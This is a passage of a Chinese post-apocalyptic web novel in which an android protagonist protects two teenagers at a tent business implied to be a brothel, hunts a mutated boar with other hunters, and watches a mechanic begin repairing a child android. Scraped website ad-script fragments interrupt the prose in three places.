有的不知从哪抽了块毛巾出来捂在耳钉男孩头上的伤口处,有的扶桌子,有的拉椅子,有的捡地上的瓜果零食。 流萤冲到细雨边上,先是狠狠打了他一巴掌,接着搂住他,又哭又笑。 细雨呆住了,傻愣愣地张着嘴,还没回神。不过,怔愣也不妨碍他还吧嗒吧嗒掉着眼泪。 有个男孩子摸了块看上去形状还完好的糕点,怯生生地递给时却。 “姐,你能帮忙送满天星去医疗处吗?治疗仪的钱,我们明天会凑钱还你的。”那男孩细声细气地说。时却认出他是白天在用餐处,提出要给细雨带饭的那个孩子。 哦,那个耳钉男孩叫满天星。 “我叫老金了,”沈司奥插入对话,“缓冲点内只能步行,开摩托从缓冲点外绕到医疗点附近,那样更快。老金两分钟后到。” 说完,他一怔,伸手按在胸前,拉出衣服里为项链形式的智能终端。 那终端以近乎微不可闻的频率振动着。 “怎么了?”时却问。 沈司奥调出地图,特意放大了,让帐篷内所有人都清楚地可见上面的内容。 地图的中心被定在一块由红色虚线围起来的区域。一个标注引线点在这区域上,再向外拉出,附白色的说明文字:十三区。 有不断跳动的倒计时,紧跟在“十三区”后。 00:30,00:29,00:28…… 时却知道这是什么了。 还在收拾狼藉的其他人纷纷停下手头的动作。 流萤抱紧细雨,咬住自己的手,将所有声音咽下。细雨逐渐回神,也安静下来。 帐篷内,唯闻众人或轻或重的呼吸声。 00:00。 倒计时归零的刹那,由白色的“十三区”三个字骤然变灰,并转为“十三区(防护罩已失效)”一串文字。 沈司奥开口,说了个地狱笑话。 “嗯,现在是2141年1月1日0点了,”他道,“各位,新年快乐。” 36. 野花 老金赶来后,简单包扎了满天星的伤口,预备送人去医疗点。 他的摩托带有边座,时却以为帐篷里会有人希望跟去,不想询问过后,所有人都摇头,说得等老板回来,不能乱跑。 “你们老板预计什么时候回来?” 少男少女们面面相觑。 “大概很快,”有人小声说,“他知道风头过去了,就会回来看看情况。往常碰到棘手情况,都是这样。” 这位老板在本次事件中不主动卖细雨但也不积极抗事,而是直接玩失踪,让细雨听天由命。基于此,时却想对方应该很擅长自保和审时度势,壁虎走了,就不会太过苛待细雨和流萤。 不过人的想法总是时刻在变,保险起见,时却让老金自己带满天星走,有什么事情随时给沈司奥发消息,打算再留一会看看情况。 至于满天星的医疗费…… 因为之前找的女紫蝎实际没干什么活,所以对方其实有给时却退一部分钱回来。现在,时却身上还有几百块。她不太确定这够不够付满天星的账单。 她调出聊天界面,在一群未成年人时不时的偷瞄中,脸不红心不跳地给旁边的沈老板打赛博白条。 沈司奥白她一眼,发了个“你不如出去捡垃圾”的猫猫表情包。 相处几天下来,时却知道他不拒绝就表示答应,殷勤地给老板拉了张椅子坐,再给自己也拽了把。 屁股刚沾上椅面,流萤抿着嘴过来,刚哭过的眼眶还有些微肿。 在流萤开口前,时却察觉到一阵虚浮的脚步声,目的明确地朝这个帐篷小跑过来。 似乎是个成年男人。 她抢先一步,笑道:“拿人钱财,替人消灾,流萤,活儿我干得不错吧。这事报酬是多少来着……” 劫后余生的神情在流萤脸上迅速褪去,少女腮帮子处肌肉紧绷绷的,显出难堪之色。 还在收拾狼藉的少男少女们中,不少人动作一顿。 之前开口和时却说“明天凑钱还她医药费”的那个男孩,本用衣服下摆兜了点水果,笨手笨脚地正往桌上的果盘里摆,闻言一哆嗦,扯衣服的手松开来,几颗水果重新掉回地上。 其中,一颗苹果咕噜噜滚到时却脚底下,时却捡它起来,攥在手里摩挲。 流萤的表现显然是……她并没有这么多钱,只基于事急从权,当时喊出四千的报酬。 傻姑娘。 帐篷外,那男人在凑近到一定距离后就谨慎地改小跑为走,蹑手蹑脚地靠近,直至到了,和帐篷内众人只有一布之隔,也没有径直进来。 她继续开口:“你懂的,我不缺钱,那四千的报酬可以分期,或者,到了十二区,我再多找你几次,怎么样?” 嘴上这样说着容易引人误会的话,她眼角余光射向门帘处。 那儿被掀开了一条缝,一只黑眼珠子正小心翼翼地往内窥探。 自然,流萤什么也没察觉到。她一愣,苍白的脸颊慢慢染上红色,此刻给人的感觉僵硬得像块木头。 “我……” 垂在身侧的手拧着柔软的衣服布料,流萤深吸一口气,直视时却认真道:“到了十二区,你来多少次都可以。不过说好的四千,我会一分不少地给你。” 时却将苹果随意在衣服上擦擦,咬下一口,汁水四溢。她咽下这口甘甜的果肉。 傻姑娘。 当时却准备再咬第二口苹果时,帐篷外的人终于有了动作。 门帘被悄悄放下。几秒钟后,一个大腹便便的斑秃男人叫嚷着冲进了帐篷。 男人面上挂着幅心急如焚的表情,嘴里大叫“孩子们你们有没有事”,火烧屁股似的,扯过一个又一个人挨个查看。 “老板,我们没事,”有人被他晃完后,怯怯地指时却,“那个姐姐把壁虎说走了。” 男人作势去擦额头上并不存在的汗,像这才留意到帐篷里还坐着两个大活人般,哎哟一声,不住地弯腰道谢。 “谢谢两位,感谢见义勇为,感谢。太着急了,我刚才太担心这些孩子们了,没留意到两位,抱歉啊,抱歉。” 说罢又愁眉苦脸:“这个壁虎啊真的,我们这小本生意,他这样……还好,还好有您!您真了不得,壁虎都卖您面子!” 说完这个,他继续不重样地吹捧了时却十几秒,见时却始终平静地看他,终于有些呐呐,打算收尾。 “我姓陈,您叫我小陈就行。您,我该怎么称呼您好?” 时却其实不擅长也不想和他这样油嘴滑舌的人打交道,端出平静的表情只是为了装高深莫测。 她想了一下,直白道:“陈老板该是打听完我才过来的吧,不知道我的名字?” “哎,”陈老板的神色舒缓开,哈哈道,“那对您多无礼,当然要亲口问。您要觉得我不配知道,那我肯定也不好上口叫啊。” 时却给他一口一个您叫得脑子嗡嗡,心知自己的技能树上根本没有舌灿生花这一项,干脆沉吟不语,作不耐烦状,抽出腰间匕首,在手里转了两下。 一回生两回熟,她决定拿和对付壁虎一样的底层逻辑,来和陈老板“社交”。 陈老板脸色微变,果然更体贴地道:“叫您时姐好不好,这世道,谁拳头大谁是老大,行不行,姐!时姐,我就是非常感谢您,想和您交个朋友!” “您紧张什么,没说不和您做朋友。”时却装作懒洋洋道,暗自压下被中年男人称呼为姐而起的鸡皮疙瘩。 身边传来一声轻咳,她用眼角的余光看过去,沈司奥往旁边撇脸,似乎正在憋笑。 时却:“……”我记住了,沈弟弟。 一旁,时却的回答让陈老板肉眼可见地松了长长的一口气,又作擦汗动作——这次不是假动作了,他的额头有些许发亮,是真的出了点薄汗。 时却决定再接再厉。 她继续把玩匕首,翻来覆去地看,好像上面长出了朵花儿似的,总之就是不正眼瞧陈老板。 这是一个模仿动作。片刻前,壁虎就是这样,连个眼神都不分给细雨和沈司奥。 “我觉得,流萤今晚挺辛苦,细雨更受了无妄之灾,得好好休息一晚,您说是吗?” 雪白的刃身反光于陈老板脸上一晃而过。陈老板点头哈腰,连连赔笑称是。 陈老板:“那个流萤细雨,你们收拾收拾,等会就回去休息吧,业绩今晚还给你们正常算。” 他态度和善地说完,眼珠子一转,看看时却,再扭头看看身后的流萤,如此夸张地来回两三次,殷勤道:“这样,时姐,要不也算我们交个朋友,我做主请客,到十二区前,流萤每天晚上都是您的,怎么样?您只要本人每天晚上来接人就好,我正常算她的业绩,算,呃……” 他咬咬牙:“按以往晚上能接的最大人数,算一整晚的!” 时却:“……” 她转眼去看流萤,流萤愣了一下,然后在陈老板后头连连对她使眼色,视线在她和细雨之间打转。 时却不太确定,流萤想表达的是不是她想的那个意思。 “好事成双,陈老板,”时却试探性道,“再加细雨一个,怎么样?” 她似乎猜对了,流萤眼睛一亮。 只可惜,陈老板脸上露出了为难的模样,他搓搓手,长吁短叹,叭叭叭说起他这个“小本生意”的经营艰难来。 “时姐,您不知道啊,我这这么多张嘴,都得养活呢,还都是半大不大的孩子……” 流萤挽上陈老板的胳膊,轻声道:“老板,要不这样,还是每天晚上一个人,要么我,要么细雨,让时姐选,可以吗?从明天晚上开始。” “啊,这样倒是……”陈老板拖长语调,转看向时却,“时姐,您看?” 如果这是流萤想要的,时却当然没意见。 说到底,时却当然不可能对流萤或细雨做什么,她打算问问沈司奥的意见,他乐意的话,到时候就让流萤或细雨来他们的帐篷边上烤烤火坐一坐,他不乐意的话 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,就让流萤或细雨自己找地方休息。 还有,“明天晚上”这个时间节点,让她想起明天晚上晨晨还要来找沈司奥,沈司奥又最好和她待在一块,不知道明天晚上还能不能来解压好去处接人。 时却拿肩膀轻撞沈司奥一下。 “明天晚上?” “无所谓,看你,”沈司奥道,“明天晚上那个事情……不会耗费很多时间。” “那就这样定。”时却对陈老板道。 陈老板见她退步,赶忙再说几句好话,将这事就这样定下来。 一切谈妥,时却在心里松了口气。除陈老板自己提出来的意外条件外,她达到了最初目的,即确保陈老板不会迁怒细雨和流萤——至少当下不会。 再留着也没有什么事干,她提出离开,陈老板让流萤送她和沈司奥。 三人走出帐篷外几步。 月色依旧黯淡,时不时还有云朵飘过,遮住月亮的光芒。星星很少,几乎不见几颗。户外灯可能被设置了节能模式,较此前的亮度也下调许多。 与月色、星光、户外灯三者形成对比的,是解压好去处的一顶顶帐篷,这些帐篷内透出暖色调的暧昧亮光,像凌乱开在一匹黑布上一朵朵野花。 这些野花摇曳着,构筑成活在这个末世的底层人的一种剪影。 时却不禁想,不知单纯是因为幸运,还是基于创造者对她的其他意图,在她那大概率是被虚构出来的记忆里,“时却”离这些野花很远。 在她有实感的“这辈子”,自睁眼后获得的、碰上的一切,无论是这具素质极高的仿生人身体,还是不算坎坷便获得的战斗用功能模块“入伍新兵”,种种因素累加起来,她也离这些野花很远。 如今,有一朵花阴差阳错地飘到了她身边,她只是轻轻嗅闻,就引发了一连串的连锁反应。 如果,她更深入,更深入……会发生什么? 不远处,几盏户外灯可能是内部灯芯出了什么毛病,忽然同时发出几声交杂在一起的“咔咔”声和“哔剥”声,音量不大,算得上微弱。 时却一惊,被扯回现实。 “你们听到了吗?”她下意识问身边的两人,沈司奥和流萤回以一脸茫然。 时却有点尴尬,忙摆手示意他们不用在意。 她和流萤加了终端好友,流萤还把细雨的终端账户号也推送给她,于是时却也加上了细雨。 “回去好好休息。”时却对流萤说,“你和细雨商量一下,谁哪天想休息,就给我发信息。” 由于还没和沈司奥私下商量过,时却委婉表示,如果自己那边没空的话,就做做样子,把她或细雨从解压好去处接出来,之后她和细雨自己安排就行。 “走吧,”沈司奥说,“还得去集中休息处搭帐篷休息。” 流萤点点头,双手背在身后:“姐,你等一下,弯腰,我和你说个悄悄话。” 时却依言照做。 流萤凑近,气息打在时却的耳朵上。 起初,她什么都没有说,反倒伸出两只胳膊搂抱住时却的肩膀。 少女的手臂很柔软。虽然隔着衣服,没有皮肤与皮肤之间的接触,但时却想,它们一定也很温暖。 “不管上次还是这次,都谢谢你,姐!” 大声说罢,少女松手后退,转身跑向帐篷,在即将冲入其中时,扭头看一眼时却,像个正常的中学生那样,开心地笑了一下。 * 找老金确认满天星状况还行,已送回解压好去处后,时却和沈司奥取回行李和摩托,艰难地在不剩下多少空位的集中休息处找到合适的位置,搭好帐篷。 守着显然奔波一天后疲惫得不行的沈司奥入睡,眼看着他呼吸平稳绵长后,寂静的深夜里,时却再度想起流萤的那个笑容。 明明只有黯淡月亮和人造灯光,少女的黑色瞳孔中倒映出的也只是黯淡月亮和人造灯光,为什么…… 为什么她会觉得那些光芒异常明亮? 37. 普通狩猎 沈司奥是把用来给时却充电的装置鼓捣好了才睡的。整个深夜的前半,时却充着电,同时脑子也不停,交替研究起入伍新兵和区外地图。 入伍新兵就不必说了,是她短时间之内的立身之本;区外地图里,她主要看第二天行程中可能碰到的变异动植物信息。 后半夜,她有些腻味,确认电量早充满了,简单收拾好充电装置,爬出帐篷,改为坐到外头守夜。 她需要守夜到早上七点。 七点是蝎子建议的起床时间,被写成了大大的提示语立在集中休息处多地。 之所以是七点,因为黑蝎预期在八点拔营,七点到八点之间,还提供医疗和兑换服务——提示语下方这样言简意赅地解释。 时却不是待在帐篷外的唯一一个人。 蝎子将集中休息处按随行人分了类。她和沈司奥所在的地方属于被分配给紫蝎的区域,临近缓冲点边缘。 周围的每个帐篷外,平均有一到两人守夜。 闲来无事,时却打量临近帐篷外的每一个守夜人。如果对方身上有什么较为突出的特征,她就任由想象力放飞,脑补其过去。 比如,在她十二点钟方向不远的一个守夜人,是个独眼的中年女人;女人戴着眼罩的那只眼睛周边露出些许类似烧伤的痕迹,也许是被一种尾针里可以喷射出毒液的变异蜂所伤。 在她三点钟方向的一个守夜人,是个年约五十的胡茬男人;他着装邋遢,终端和沈司奥一样,是项链款,坠有照片盒。 他提溜着个酒瓶,时不时喝一口,一个小时内将照片盒反复打开关上,至少有七八次。或许,照片盒里放有他的全家福合照。 时却沉浸在只有她一个参与者的“侦探游戏”里,玩得不亦乐乎,连战斗型仿生人也不放过。 紫蝎区域的战斗型仿生人只有寥寥三个,他们遵循着某种被预先规划好的路径来回巡逻。 时却管这三个战斗型仿生人分别叫小一、小二和小三。 起先,时却不太能分清他们,尔后慢慢察觉到,他们乍看一模一样,实际上彼此之间存在细微的差别。 小一的鼻子比小二和小三更扁平些,小二的一边胸肌较小一和小三更平,小三的右手腕上有一圈看不太清的红痕,随着走动间衣服袖口的轻微位移而若隐若现。 这些区别点可能是维修导致的。 根据它们,时却各给小一、小二和小三编撰了一个属于他们自己的故事。 到了最后,她甚至无聊地给小一、小二和小三倒计时,算他们还会间隔多久再出现。 夜色逐步褪去,天空渐白,将近凌晨五点时分,时却望着小二的背影远去,心想再十五分钟,就该是小三了。 十五分钟后,小三没有出现,直到第二十分钟,才姗姗来迟。 见到他的第一眼,时却不禁眯起眼睛。 小三的左手腕上,新增了一圈红痕。这痕迹绝对是之前没有的。 等小三靠近,她凑过去拦他。 “你应该早点巡逻到这里,却来晚了,”她语气随意,“为什么?” 小三面无表情地回答:“女士,我没有向您汇报的义务,请不要妨碍我执行任务。请让开,倒计时三,二……” 熟悉的历史再次重演,熟悉的枪口再次抵到左肩上,时却作举手投降状,乖巧地让路。 反正,她得到想要的了。 因举枪的缘故,动作之间,小三左右手腕的红痕有瞬间全都清晰展露了出来。 它们坑坑洼洼,和那两条变异狼身上的伤口有五分相似。 * 早七点,时却叫醒沈司奥,在他洗漱时提起这件事。 “我感觉是造成变异狼伤口的东西弄的,”她有些迟疑,“不过这两种痕迹只有五分像。” “正常,仿真皮比人的皮肤来腐蚀。” 沈司奥蹲在草地上刷着牙,口齿不清地说。 时却有点好笑,揶揄他:“什么来腐蚀?” 沈司奥吐干净嘴里的泡沫,漱几口水,白她一眼。“……耐腐蚀。” “我没在区外地图里找到对应描述。” “真有新的变异生物,不管是植物还是动物,跟着我们跑的几率都不大,”沈司奥说,“如果那个仿生人确实受袭,会和他的管理员报告,蝎子会自行评估这件风险。” 洗漱完毕,两人简单吃了点东西。期间,时却找了个机会,问沈司奥对于昨晚事情的意见。 沈司奥表示他无所谓,流萤和细雨可以在每晚他们扎营后过来休息。 七点半,紫蝎区域的帐篷收得七七八八,熟悉的卡车突突突开近,跳下蜥蜴和几个黑蝎。 蜥蜴念起名单,给紫蝎们发放今日份额的武器。 离开十三区的第二日,这些武器里能和热武器沾边的大多只剩下补充性质的弹药,没几把好枪。冷兵器倒还管饱。 时却和沈司奥各补充了些弹药。 他们在名单前列,拿完补给就冲向兑换点,甚至踩着线赶到了兑换点,继续昨晚被流萤打断的兑换。 兑换点给出的价格是,两头变异狼,被散弹枪爆头的大个狼价值三千二,被割喉的小个狼价值三千。 离开兑换点,时却想起件事情:“你之前答应我的会飞的球,就是那个通过蝎子面试的奖励……” “常识播放器?” “嗯。” “今晚晨晨的事情弄完后,就开始做。” * 八点,黑蝎拔营。 和前一天一样,壁虎广播扎营地坐标后,各队伍重新上路。 鲜少紫蝎像沈司奥和时却那样,头天就上缴了三天躺平费。大部分紫蝎上路没多久,就班味浓重地散了个精光。 熟悉的颠簸道路上,时却懒洋洋坐在摩托车的后座,背靠后备箱看地图。 “我瞧瞧……今天只有晚上的扎营地是缓冲点,13-3缓冲点。” 前头,沈司奥顺势向她科普,缓冲点并非规律设置在区与区之间,毕竟维护也要不少人力物力。这趟旅程下来,越接近十二区,缓冲点之间的间隔越远。 等到后面几天,可能一两天都不会到达一个缓冲点,那时要提防的东西会更多,守夜的活更熬人。 时却并不在意,对她来说,这不是问题。两人聊完这件事,她继续翻地图,思忖今天的狩猎计划。 没等想出来个一二三四五,边上靠近辆半新不旧的越野,窗户摇下来,车里是数张熟悉面孔。 加上驾驶位上的司机,一共三个紫蝎,都是昨夜和沈司奥与时却同在一块区域的人,两女一男。 以其中一位自我介绍叫蒋云霞的健壮中年女人为首,三人邀请时却一同狩猎,专找大型变异动物或植物。 取消半空中的地图展示,时却拍拍沈司奥的肩膀。“你们……认识我前头这位老板吧?” 蒋云霞不咋在乎:“我们不赚这种活儿的钱。考虑考虑看看?大型变异生物,高风险,高收益。” “不过,”她话锋一转,略显迟疑,“你要捆他一起的话,只能当封猎物后路的人,分钱方面还得吃点亏。” 时却抓抓头。“先问个问题,为什么找上我?” 有沈司奥在,她不是个好选择吧? 仿佛瞧出她的想法,蒋云霞挑眉:“你得知道,目前在有的紫蝎心里,你很棘手,但在少部分人眼里,你还不错,尤其是昨晚过后。至少,你背后捅同伴一刀的概率会低一点?” 说完又竖起一个大拇哥:“哦对了,我还看过你在绞肉场打架的视频呢,第四场踩几把的姿势很帅气嘛,小蝴蝶。” 时却:“……”最后三个字大可不必说出来。 她开始权衡利弊。 首先,以蒋云霞为首的几人,她昨晚一一观察过他们,这几人对沈司奥的确没有兴趣。 其次,她对蒋云霞口中的大型变异生物感兴趣,对伴随而来的高收益也有点心动。 此外,入伍新兵里有提到不少团队配合方面的知识,时却看过,目前都处在纸上谈兵的状态,因此也有些好奇。 老规矩,先看老板的脸色行事。时却征询沈司奥的意见。 沈老板停了车,掀眼皮瞅她一眼,转脸问从越野里走下来的蒋云霞:“怎么分?” “四人均分,她再少到手的30%。” “太少,”沈司奥撇嘴,“我长眼睛,能自己藏好。” 时却:? 这什么渴了会找水喝,下雨会打伞的句式。 车内余下的一女一男起哄,女的捂嘴笑道:“得了吧,小弟弟,昨晚你被护得跟什么似的!” 眼看未成年机械师的脸有点发红,时却赶忙插嘴救场。 “我的问题,我的问题。他真没碍过事。” 想了想,她把丑话说在前头。“事情总有个先来后到,的确不好离他太远。你们要不能接受,就算了。” “25%,”蒋云霞也不纠结,张口给出一个新数字,“行就行,不行拉倒,只路上合作,按天分钱,随时散伙,怎么样?” 沈司奥不说话,转眼看时却。时却点头,合作达成。 蒋云霞告知时却,今天他们选的猎物是一头变异野猪。运气好的话,追踪这头野猪需要花三到四个小时,运气不好的话,得话大半天才能确认到它的方位。 时却很快发现,答应临时合作是个正确的选择。 蒋云霞是极为老练的猎人,追踪这只野猪的过程,让人好似亲身参与野外求生的纪录片。 脚印、粪便、路边不起眼的草的倒伏痕迹等等, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 任何蛛丝马迹都能成为她锁定猎物的来源。时却沈司奥几人被她支使得团团转。 不止如此,她没翻过一次地图,却能对诸多区外信息信手拈来。 她甚至不时会以教导的语气教授身边的人。 “脚边这样的花,看到没?就这种开得红艳艳的,别去碰。它和一种变异毒蜂互利共生,毒蜂会群起蛰沾上太多它花粉的生物。” 运气不佳,一整个上午,他们都没能定位到野猪的具体行踪。中午,几人赶不及去扎营地休息,胡乱对付了点干粮,下午继续。 临近傍晚时分,他们终于追踪到野猪的藏身地。 蒋云霞娴熟地将站位和任务分配下去,众人各司其职,一男负责充当诱饵上前挑衅的,一女负责时不时爆出点巨响干扰野猪的,蒋云霞作输出火力的主力,时却负责封野猪的后路,让它不要逃出蒋云霞的火力范围。 蒋云霞的火力不弱,快、狠、准,变异野猪含恨被打成筛子。 将戴墨镜的沈司奥从不远处唤出来,站在他身边,望着不远处围着野猪展颜的蒋云霞小队三人,时却感到极为新奇。 这三人不是毫发无损的。 其中的一男,充当诱饵时差点被野猪扑了个正着,在地上滚了一圈,左手脱臼,塌着半只胳膊撑到现在,中途几次差点疼晕过去。 另一女运气更差,倒是没被野猪扑,反而是快找到野猪时,不慎惊扰到了一条挂在树上且具有变色能力的毒蛇。 她当时离时却较远,时却鞭长莫及,那毒蛇从天而降朝她脖子上就是一口,她被咬个正着。 好在是条弱毒毒蛇,蒋云霞给她注射了一针通用解毒血清后,她头晕眼花不时呕吐两个小时,好悬在找到野猪前勉强恢复了正常。 至于蒋云霞……战斗后期,她换了把大火力高噪音的枪。 那把枪只震耳欲聋地开了两枪。 野猪倒下后,她龇牙咧嘴地丢掉那把枪,然后在十分钟内,忍不住摸了三次用来承担后坐力的右肩。 这十分钟内,边上的一男一女和她说话,也默契地提高了音量。 ……该怎么说呢,道理时却都懂。 区外讨生活的猎人干的都是卖命活,巴拉巴拉巴拉的。 关于区外狩猎为生的猎人,她那被各式各样机械传动结构塞满的脑子,能在一瞬间罗列出许多逻辑通畅的描述。 ……而这是她第一次实际接触到这个世界的普通人,是如何在区外正儿八经地狩猎。 太多鲜活的细节扑面而来了。它们都是时却不可能凭空想象出来的。 仿生人的身体强度,决定时却不管怎么摔打,几乎不用去考虑脱臼和枪械后坐力的问题。 非人的反应能力,决定了如果那条毒蛇袭击的是时却或沈司奥,时却大概率能直接挡下或避开毒蛇可能造成的伤害。 超绝的感官能力,决定时却在拥有敏感听力的同时,也无需担心任何噪音可能对她造成的伤害。 时却不用担心这些问题,这些普通人才需要担心的问题。 解决这些事情,避开这些风险对她而言,易如反掌。 在此之前,这些普通人无法避开的糟糕境况对于她而言,是蒙在一层黑纱后的景色,存在却不真实。 昨天白天,缓冲点里的那具女尸,将这层黑纱削薄了一点点。 昨天晚上过去,这层黑纱上开出几朵花,然后……变成了白纱。 与壁虎的对峙,与陈老板的周璇,让位于这层纱后纷繁复杂的事物,越发地若隐若现。 今天,这层白纱彻底被搅烂,纷纷扬扬地脱落。 眼见为实。她瞧见的是: 对于这个世界的普通人而言,追踪和战斗策划之所以能获得成功,技巧、经验、耐性与细心四者缺一不可。 同时,普通人要想在区外挣得战利品,还避不开时刻重复着一件事,一件和绞肉场的营生同名差不多的事情—— 赌命。 赌不会因为蹭到好看的花被野蜂蛰死,赌不会被野猪撞飞,赌不会被从天而降的毒蛇送走。 蒋云霞叫来蝎子的人,带走了变异野猪的尸体。 几人随后赶到兑换点,算完野猪的价值。时却分到了一千四。 她和蒋云霞小队的人加了终端好友,约好次日继续合作。 临分别前,她听到这三人嘀嘀咕咕地讨论起今天各自的收益,除去火力补给和医疗费后,还能剩多少。 她没再多听,和沈司奥到用餐处打了晚饭。 吃完后,人造灯光在缓冲点的平整草地上星星点点地亮起,他们找了个极为僻静无人的角落暂作休息。 沈司奥低头摆弄投影出来的全息屏幕。 过了一会,他抬头,对时却说:“晨晨要过来了。” 38. 图案 和晨晨一起来的人有壁虎和花朵姐。两个大人一左一右,将他夹在中间。 晨晨今天还是穿了一身白,一幅天真无邪的样子,相较于身处区外,更合适出现在婚礼现场。 花朵姐牵着他的手。她眼睛里布满血丝,眼眶下挂着浓妆也遮不住的黑眼圈,整个人看上去极为憔悴。 壁虎不时看花朵姐一眼,平直的嘴角弧度彰显出他此刻的不妙心情。这不妙中,还夹杂有一丝不易让人察觉的担忧。 三人神情各异地来到时却和沈司奥面前。他们一靠近,时却就从壁虎身上闻到浓重的烟味。 为了应和她的视线似的,壁虎从怀里摸出一个软包装的瘪烟盒,攥在手里捏得作响。他犹豫了一下,没有打开。 就在昨天,他对于细雨流萤等人还是恶魔一样的存在。今晚,还是同一个人,给时却的感觉全然不同。 “我叫人把附近围了,不会有不开眼的家伙来打扰,”壁虎说,“我和她真的不能在场?” 花朵姐垂眼不说话,她白皙的手背上微凸起的几条青筋,昭示出她攥着晨晨的力道不会小。 时却观察晨晨。男孩模样的仿生人没有任何反应,甜甜地向时却回以一笑。 “壁虎,蝎子的机械师该和你讲过规矩。” 沈司奥那边,推推眼镜,毫不掩饰拒绝之意。 “说过。”壁虎略显烦躁地将烟盒囫囵塞回上衣内。“你先确认下他的状态。” 沈司奥蹲下身,摸摸晨晨的头,问他昨天晚上有没有做梦。 晨晨歪头作出努力回忆的样子,摇头:“没有。” “哦?”沈司奥不动声色,“昨晚天气怎么样?” 晨晨睁着黑白分明的大眼睛,有些失神。他的语调忽地变得平直,不带一丝情感色彩。 “昨夜没有下雨,”他一字一顿道,比起之前天真可爱的模样,声音更像时却记忆中读书软件的AI,“天气干燥,土地贫瘠,种子难以发芽。” 在场有人的呼吸声骤然沉重,是花朵姐。 她怔住了,像是被人当头来了一棒,眼中闪现一时难以为人所辨认的复杂情绪,攥着晨晨的手情不自禁地松开。 晨晨的手却并未顺势落下。他似是被什么诡异的力量固定住,手部仍维持着斜向上举的姿势。 花朵姐瞳孔一缩,慌忙再去捂晨晨的手。“不好意思,这孩子有点顽皮……” 她看上去极其不想承认晨晨的异常,不过沈司奥显然不在乎。不知是否是错觉,时却还感觉他的情绪变得有几分恶劣。 “重种的锚点很不稳固,请你们尽快离开,我要开始工作了。”沈司奥说。 “顺便,基于这个情况,我需要时却就站在边上,确保我的安全。” 他斜时却一眼,时却福至心灵,保证自己绝对会保密。 沈司奥朝花朵姐伸手,花朵姐犹豫地松开晨晨,打开手提包,翻出一个棕色式样的纽扣。 这纽扣的一面刻有一个不规则的图案;它的更多细节被花朵姐的手盖住了,只露出一点弧形轮廓。 唯一可见的是,那不规则圆的图案内部有些蝌蚪状的纹理。 花朵姐用有些颤抖的手缓慢地将棕色纽扣放入沈司奥掌心,语气中不由自主地带上了一丝乞求之意。 “……他会有事吗?”她看上去快要碎掉了,这几个字仿佛是从她的牙缝中被挤出的,细且虚弱无力。 她像一位站着手术室外,正要签下亲人病危通知书的家属。 而病患本人,晨晨,他完全屏蔽了大人们的发言,自顾自蹲下,哼起小调,不顾白色衣物沾染上灰尘,揪着地上的野草玩。 沈司奥收五指,将那棕色纽扣合拢在手中。他低头,冷淡地回答: “你之前把他调整得一塌糊涂,我没法给你保证。” 壁虎盯着沈司奥皱起眉。时却在心里啊哦一声。 被在场三人均密切关注着的沈司奥谁也不瞧,提出工具包放在草地上,吱一声拉开拉链,看工作台自顾自地架起。 在细密的机械传动声中,他言简意赅:“最坏的情况是,你再重做一次锚点。” 花朵姐闭了闭眼,身形有些摇晃,眨眼之间,脸色变得白得吓人,还明显有些恍惚。 壁虎坚实有力地搂住她,眼神微沉。在他冷冽的目光落到年轻的机械师身上之前,时却一步跨到二人之间。 “说话注意点。” 壁虎语气里有浓郁的风雨欲来。 时却同样不太明白沈司奥为什么突然刻薄花朵姐。“一塌糊涂”。这可真扎人心。 护短要紧。她察言观色,无奈地从壁虎下垂的嘴角、紧绷的肘部以及微微鼓起的脸侧肌肉发觉,蝎子的二把手是认真地发出了警告。 对他而言,那把拿来秤流萤和细雨的天平下场了。这不是昨夜在解压好去处那会,他想采用另一套规则权衡。 时却当然不能让他这么干。 “他不该这么说,”她立即对花朵姐说,这里面有几分也算她真心话,“抱歉。” 花朵姐被她的话音拉回,轻轻地啊了一声,从恍惚的状态中回神,拍拍搀扶自己的壁虎,示意他松手,也放松。 壁虎一顿,依言照做。 “不用道歉,沈司奥说的没错。”花朵姐低低道。 冬夜的冷风吹拂,撩起她身后的卷发。任由大部分的长发在背后张牙舞爪地飞舞,她垂眼,曲指成爪伸入发丝中,慢慢梳理几下。 花朵姐的神情逐渐带上一种安静的悲伤,配合着苍白的面容,看上去简直如同一只美艳却阴气快要散尽的鬼。 她眼神放空,短暂陷入某种回忆中,嘴角勾起弧度,眼眶中却闪动一点泪光,似笑非笑,似哭非哭。 同时——时却不知道是不是自己看错了——还有些许寒冰般的冷酷神情,浮现在她姣好的面容之上。 脑中有一个接一个的画面如书页般被翻开、检阅。时却想起来了,在她那如今越看越不真实的记忆里,有一个人的脸,和此刻的花朵姐高度重合。 那是对门的邻居,一个中年人,绝大多数时候极疼爱自己的孩子,偶有和别人聊天,总强调自己为孩子付出了多少:时间、精力、爱好,职场上升路径。 有一次,不知因为什么琐事,邻居爆发了,在自家阳台上崩溃地打骂孩子,打骂完又搂着孩子哭。 那个邻居当时的表情,和现在花朵姐一模一样。 ……时却忽然懂得,该如何形容花朵姐此刻的神情了。 那是一种即爱又恨的情感。甚至说不上爱和恨中的哪一种占比更高。 毫无疑问,这种情感需要基于真切的亲身经历才能产生。 真相很清楚了:花朵姐从前有个亲弟弟,一个她即爱又恨的小男孩。不知道发生了什么,不知道这个小男孩如今是生是死,总之,现在,面前的这个仿生人,是这男孩的替身了。 时却的眼前,“晨晨”拿几根草杆编了个简陋的戒指。 他献宝似的递给花朵姐,被视若无睹后,他转身,想将这戒指送给时却。 “姐姐一向很喜欢我做的小戒指哦!”这孩子仍是很开心地说。 不,花朵姐并不喜欢你做的小戒指,无论花朵姐的爱恨有几分,小仿生人,那都只属于另一个活生生的人。 并不属于你。 时 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 却顺从地让男孩把那枚草戒给自己戴上,摸摸男孩的头,隐晦地给出一点对方没有能力察觉的怜悯。 “谢谢你做的礼物,我很喜欢,”她说,“我会好好留着它的。” 在他们对话期间,花朵姐整理好了自己的情绪。 犹如终于从一场长戏中挣脱的体验派演员,她不再显露出脆弱且不堪折的气质,苍白的脸上浮现出一点暖的血色。 她暗含叹息地注视着被设定为自己弟弟的仿生人,看他和时却互动,带有些“终于走到了这一步”的释然。 时却油然而生出强烈而敏锐的直觉:花朵姐接受了。 